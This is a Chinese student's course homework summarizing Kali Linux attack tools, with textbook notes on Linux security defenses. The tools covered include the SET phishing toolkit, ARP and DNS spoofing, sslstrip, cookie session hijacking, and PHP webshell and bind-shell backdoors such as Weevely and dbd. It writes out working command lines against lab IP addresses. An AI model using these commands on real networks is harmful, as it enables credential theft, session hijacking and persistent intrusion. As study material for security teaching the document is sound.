20189320《网络攻防》第八周作业
一、Kali视频学习总结
(一)漏洞利用之SET
Social Engineering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具,提供了非常丰富的攻击向量库,是开源的社会工程学利用套件,通常结合Metasploit来使用。
1.命令行下输入setoolkit打开SET套件
2.菜单选项1是社会工程学攻击,输入1回车后,可以看到相应的模块
可以看到共有11个模块,分别为:
3.输入1进入鱼叉式钓鱼攻击
此攻击向量主要目的为发送存在恶意软件的钓鱼邮件。
相应的payload可以选择不同的漏洞(输入2)。
4.返回主菜单,输入2进入网站攻击框架
此时可以开放一个WEBServer服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。
如Java Applet Attack方法就需要目标有Java运行环境。为了仿真,可以选择自建模板或克隆一个网站:
5.返回主菜单,输入3进入介质感染攻击
借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。
6.返回主菜单,输入4创建Payload和监听器
创建一个返回的Payload并开启监听。
可以看出,与Metasploit给出的Payload类似。
7.返回主菜单,输入5进入群发邮件攻击
支持导入列表并向列表中的每个人发送邮件。
8.基于Arduino的攻击
9.短信欺骗攻击
10.无线接入点攻击
无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。
11.二维码攻击
填入一个危险的URL,使得被攻击者扫描二维码自动访问页面而中招。
12.PowerShell攻击
针对Vista以上的PowerShell攻击模块。
13.Fast-Track攻击模块
除了社会工程学攻击模块,SET还整合了Fast-Track攻击模块。
包括一些常见的攻击模式:
14.其他功能
其他功能主要为第三方模块、工具更新及工具配置等信息。
(二)嗅探欺骗与中间人攻击
对于嗅探、欺骗工具,Kali将其单独分类并细化。Linux下的中间人攻击套路都是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持(cookies)的方法。
1.为Kali设置开启端口转发
$ echo 1 > /proc/sys/net/ipv4/ip_forward
$ cat /proc/sys/net/ipv4/ip_forward
2.设置ssltrip
/* 为了劫持SSL数据,需要使https数据变为http */
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081
$ sslstrip -l 8081 /* 让sslstrip在8081端口监听 */
3.ettercap的准备
ettercap是一套用于中间人攻击的工具,和dsniff套件齐名。它的强大之处在于支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次进行中间人攻击操作,那么要对Kali下的ettercap做点配置。
配置文件是/etc/ettercap/etter.conf
,首先要将ec_uid、ec_gid都变为0。
然后找到Linux分类下的if you use iptables
这一行,将注释("#"号)去掉,打开转发。
4.ettercap使用
(1)打开ettercap:
(2)选择sniff选项—>unified sniffing,选择嗅探网卡,默认eth0。
(3)选择hosts选项:先scan for hosts,等扫描完了选host list。
可以看到,有2台主机被添加到主机列表中。
(4)把网关安排到target 1,想攻击的目标放到target 2;mitm选项卡选择arp poisioning,然后start即可。
当同处一个局域网的受害者访问网页,进行登录时,它的密码就被你记下来了。
5.Dsniff套装介绍
Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:
(1)进行arp欺骗:
$ arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)
(2)进行嗅探:
$ dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]
其中:
-c 打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作。
-d 启动调试模式。
-f 以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型)。
-I 使用特定的网络接口。
-m 使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议。
-n 不执行主机查找。
-r 从前面保存的会话中读取被嗅探的数据。
-s 最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中。
-t 使用格式port /proto=servise;来加载一个以逗号界定的触发器集。
6.会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。
(1)开始arp欺骗:
$ arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
(2)捕获数据报:
$ tcpdump -i wlan0 -w test.cap
(3)等过一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:
$ ferret -r test.cap
如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
(4)接下来我们运行hamster:
$ hamster
会自动提示浏览器设置代理为http://127.0.0.1:1234。
(5)接着我们在浏览器中打开hamster:http://hamster,选择目标和可能的登录认证地址,然后点击链接会发现自己已经变成他了。
7.图片截获
利用Driftnet这款工具我们可以看到受害人在访问网站的图片。
首先,使用arpspoof启动arp欺骗。
然后,启动driftnet:
$ driftent -i
此时会弹出一个小窗口,当目标访问有图片的网站时,攻击者就能在这个小窗口中看到。
8.DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的DNS欺骗。
(1)在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)
host文件:
$ 127.0.0.1 www.baidu.com
上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。
(2)然后启动dnsspoof:
$ dnsspoof -i wlan0 -f /root/hosts
就等着受害者访问baidu来观察效果。
9.URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便地使用一些日志分析工具来分析记录结果。
$ urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
10.下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转储到本地当前工作目录。
$ filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]
(三)权限维持之后门
权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中,系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。这里主要对Kali下的后门进行介绍:
1. Weevely
Weevely是一款使用Python编写的webshell工具(集webshell生成和连接于一身,仅用于安全学习教学之用,禁止非法用途),可以算作是Linux下的一款菜刀替代工具(限于php),在Linux上使用时还是很给力的,就是某些模块在Windows上无法使用,总的来说还是非常不错的一款工具。
Weevely的使用步骤如下:
(1)生成一个php后门:
$ weevely generate test ~/1.php /* test为密码,在本地生成~/1.php */
查看生成的后门:
$ cat 1.php
(2)将后门上传至WEB,使用Weevely连接。
$ weevely http://192.168.43.72/shell.php test
①复制后门。
②查看目标机ip。
使用Linux靶机作为目标机,目标机的IP地址为192.168.43.72。
③在主机上使用ssh连接。
$ ssh root@192.168.43.72
④nano 1.php 复制生成文件内容到其中
⑤使用命令weevely http://192.168.199.149/1.php test
进行连接
2.WeBaCoo
WeBaCoo(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以远程连接web服务器并执行php代码的终端。WeBaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie头中。
(1)生成一个webshell。
(2)复制生成文件内容到2.php文件。
$ nano 2.php
(3)上传到网站后,使用Webacoo连接:
$ webacoo -t -u http://192.168.43.132/2.php
3.Cymothoa系统后门
枚举/bin/bash进程pid。
cymothoa -10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell。
4.dbd,sdb:加强版的nc
监听端:dbd -l -p 2333 -e /bin/bash -k password
攻击端:dbd 127.0.0.1 2333 -k password
5.U3-Pwn
与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。
6.Intersect
(1)创建后门脚本
自动添加组件,生成一个shell。
(2)创建后门
(3)执行后门
①输入./1.py -b进行绑定。
②使用nc命令进行连接。
③执行成功,返回一个shell。
(四)权限维持之Tunnel
权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中,Tunnel工具集包含了一系列用于建立通信隧道、代理的工具。
1.CryptCat
CryptCat是网络工具中有“瑞士军刀”之称的Netcat的加密版,与dbd和sbd使用也类似。
2.DNS2TCP
(1)什么是DNS Tunnel?
DNS Tunnel即DNS隧道。从名字上来看就是利用DNS查询过程建立起隧道,传输数据。
(2)为什么使用DNS Tunnel?
(3)DNS Tunnel的原理:
DNS2TCP是一个使用C语言开发的、利用DNS Tunnel转发TCP连接的工具,包括DNS2TCPC(客户端)和DNS2TCPD(服务端)两部分。通常,DNS2TCPC和DNS2TCPD结合起来使用。
3.Iodine:与DNS2TCP类似
4.Miredo
Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道链接,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。
5.Proxychains
Proxychains是内网渗透测试经常会用到的一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改/etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。
例如,
$ nano /etc/proxychains.conf
$ proxychains namp -sT -Pn 10.0.0.1/24
6.Proxytunnel
Proxytunnel可通过标准的HTTPS代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行HTTP(S)传输。
Proxytunnel可用于:
(1)使用HTTP(S)代理(HTTP CONNECT命令)创建通讯通道。
(2)为OpenSSH写一个客户端驱动,并创建基于SSH连接的HTTP(S)代理。
作为一个独立的应用,可以连接到远程服务器。
7.Ptunnel
借助ICMP数据包建立隧道通信。
8.Pwnat
内网下通过UDP通信。
9.Socat
可以在不同协议下进行转发数据。
10.sslh
一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受HTTPS、SSH和OpenVPN连接。这使得通过443端口连接SSH服务器或者OpenVPN服务同时在该端口上提供HTTPS服务成为可能。sslh可以作为一个研究端口复用的例子。
11.Stunnel
12.Udptunnel
(五)逆向工程工具
逆向工程是根据已有的东西和结果,通过分析来推导出具体的实现方法。比如你看到别人写的某个exe程序能够做出某种漂亮的动画效果,你通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程:不仅仅是反编译,而且还要推导出设计,并且文档化,逆向软件工程的目的是使软件得以维护。
Kali下的逆向工程工具包括调试器、反编译工具与其他逆向工具集。
1.Edb-Debugger
EDB(Evan's Debugger)是一个基于Qt4开发的图形化的二进制调试工具,主要是为了跟OllyDbg工具看齐,通过插件体系可以进行功能的扩充,当前只支持Linux。
2.OllyDbg
经典的Ring3级调试器,是一个动态调试工具,将IDA与SoftICE结合起来的思想。在Kali下是Wine方式运行的OllyDbg。
3.Jad
Jad是一个Java反编译工具。
4.Radare2
Radare2是一款开放源代码的逆向工程平台,它可以反汇编、调试、分析和操作二进制文件。
Radare2的主要特点:
其包含rabin2、radiff2、rasm2等工具。
5.Recstudio
Recstudio是一个反编译工具。
6.APKTool
APKTool是Google提供的APK编译工具。能够反编译及回编译apk,同时安装反编译系统apk所需要的framework-res框架。
7.Clang、Clang++
Clang是一个C语言、C++、Objective C、Objective C++语言的轻量级编译器。
8.D2j-dex2jar
反编译dex文件到jar文件,进而可以用其他工具查看源代码。
9.Flasm
Flasm主要功能是用于直接修改swf文件里的脚本actionscrpt。
swf转fla文件的软件不能确保100%还原,如果只是修改as脚本代码,flasm是最佳的选择,因为它只修改脚本,资源数据不作修改。目前Flasm支持破解Flasm8和低于Flasm8格式的swf文件。
10.JavaSnoop
JavaSnoop是一个Java应用程序安全测试工具,它允许你以拦截的方法,篡改数据和hack运行在你计算机上的Java应用程序。通常在没有源代码的情况下,测试Java客户端的安全性最好的结果是不可预知的,最坏的结果是不切实际的。
在有源代码的情况下,你可以运行一个简单的Java程序和远程附加一个调试器调试它,单步运行、根据需要改变变量,但对于一个applet来说要想做到这一点是有点困难的。有时,你可能需要修改客户端和服务器之间的通信,一般的做法是在客户端配置一个代理,在代理上修改数据。问题的关键是通信的数据通常不是明文的,它可能使用了自定义的协议、序列化的对象、加密的数据或者多种方式混合应用。这样要想修改通信过程中的数据是比较困难的。JavaSnoop这个工具就试图来解决这些问题,它允许你直接附加到一个运行中的进程,类似于调试器,然后立即篡改方法调用、运行自定义代码或者仅仅监视在系统中发生了什么。
二、教材学习总结
(一)Linux操作系统基本框架概论
1.Linux操作系统发展与现状
在统一内核代码库的基础上,Linux开源社区根据不同用户群体的需求,也发展出数量众多的操作系统发行版,流行的包括Ubuntu、Debian、Fedora、CentOS、RHEL、OpenSUSE和Slackware等。Linux操作系统之所以会成为目前最受关注的系统之一,主要原因是它的开放源代码与免费。
2.Linux操作系统基本框架
(1)Linux系统的优势:
跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能。
(2)Linux系统结构主要包括:
进程与线程管理机制、内存管理机制、文件系统管理机制、设备控制机制、网络机制、系统调用机制。
(二)Linux操作系统安全机制
1.Linux身份认证机制
主要通过创建多种角色类型的用户及用户组来实施用户身份管理。
2.Linux授权与访问控制机制
通过VFS虚拟文件系统实现对不同类别文件系统格式的支持,并通过设备文件类型来统一集成对其它类型系统资源的管理。
3.Linux安全审计机制
包括连接时间日志、进程统计日志、错误日志记录。
(三)Linux系统远程攻防技术
1.Linux远程口令字猜测攻击
主要针对SSH、telnet、FTP、HTTP等服务口令。
防范措施:使用强口令字。
2.Linux网络服务远程渗透攻击
主要针对Linux系统网络服务、Linux内核中的网络协议栈、LAMP Web网站构建解决方案中的网络服务、FTP与Samba等文件共享服务、电子邮件收发服务、例如OpenSSH、NFS等的其他常用网络服务。
防范措施:禁用所有不必要的网络服务、尽量选择更安全的网络协议与服务软件并使用最佳安全实践进行部署、及时更新网络服务版本、使用xinetd、防火墙为Linux网络服务添加网络访问控制机制、建立入侵检测与应急响应计划流程。
3.攻击Linux客户端程序和用户
主要针对Linux平台上的客户端程序、系统用户。
防范措施:主要有对软件进行及时更新、增加自身的安全意识
4.攻击Linux路由器与监听器
防范措施:要有安全对抗与博弈的意识,提升自己的技术实力,及时对问题进行修补。
(四)Linux系统本地安全攻防技术
1.Linux本地特权提升
通过Linux用户口令字破解、利用sudo的缺陷进行特权提升、利用用户态SUID程序漏洞进行特权提升、针对SUID程序的本地缓冲区溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库攻击、利用内核空间代码漏洞进行特权提升、利用系统配置不当实施本地特权提升。
防范措施:看紧那些拥有特权的代码是关键。
2.Linux系统上的消踪灭迹
主要通过清理系统日志。
3.Linux系统远程控制后门程序
主要有特洛伊木马化的系统程序、命令行后门工具及图形化后门工具。
防范措施:预防Rootkit进入内核。